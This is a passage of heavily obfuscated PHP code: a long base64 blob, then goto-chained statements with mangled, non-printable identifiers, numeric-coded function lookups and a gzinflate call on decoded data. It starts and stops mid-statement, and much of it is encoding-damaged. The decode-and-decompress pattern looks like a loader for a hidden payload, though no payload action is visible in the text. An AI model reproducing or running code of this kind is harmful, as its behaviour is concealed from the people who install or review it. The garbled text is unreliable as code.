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'),10,-8)))?$���:$����);goto ��ʂ;�ʟ�:if(!($�ȩ�[0x0002]==$ʟ��+0x028))goto ֔��;goto ���;ㅃ�:if(!($�ȩ�[0x001]==$ʟ��+0x0007f))goto ���;goto ����;����:}goto ���;��:function FYnYw($����){goto ���;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �Ű�;��ݿ:$ה��=$ה��+pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��—;Ö��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �Ѷ�;����:global $���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��ݴ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;�ټ�:global $ה��;goto ��;Ч��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto χ��;�諯:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ðل;��:global $��˯;goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ַ�;�䓫:global $ה��;goto �֝;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:��ڄ:goto �̙�;ע��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ��Ȯ;��Ȯ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ν�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;�Ű�:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �՘�;ᝪ�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �葡;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ŗ��;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto �ծ;���:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto �Ө�;ɡ·:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ���;�lj�:if(!($����<�ߕ(0x001992,0x0000019bd,0x00196a)($����)))goto ��ڄ;goto �䓫;ц˚:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;�Ɖ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�֝:global $ה��;goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ɖ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;�Ǘ�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;��ś:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ν�;����:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ˤ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;Ν�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �֝�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ڱ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;ڒ��:global $��˯;goto ��;����:$����++;goto ��;��Lj:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ��ݿ;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �諯;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;Ŗ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ў��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��ݴ;��:global $���;goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �ڔ�;�葡:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto �ܓ�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;ˤ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;¨�:���:goto �lj�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;�׿�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto Ч��;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto Ν�;�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;ў��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;���:global $���;goto ڒ��;���:global $���;goto ����;�ݭ�:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��̼;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto ����;����:global $���;goto ���;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��˂;�̙�:return $����;goto ����;�՘�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ���;蜨�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;�ַ�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��׭;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��—:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ɡ·;�ܓ�:��:goto ����;��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ע��;����:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$����=gzinflate(�ߕ(0x00191a,0x000001940,0x0000018fa)($����));goto �Ǘ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�ڔ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:global $ה��;goto �ټ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �׿�;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:global $���;goto 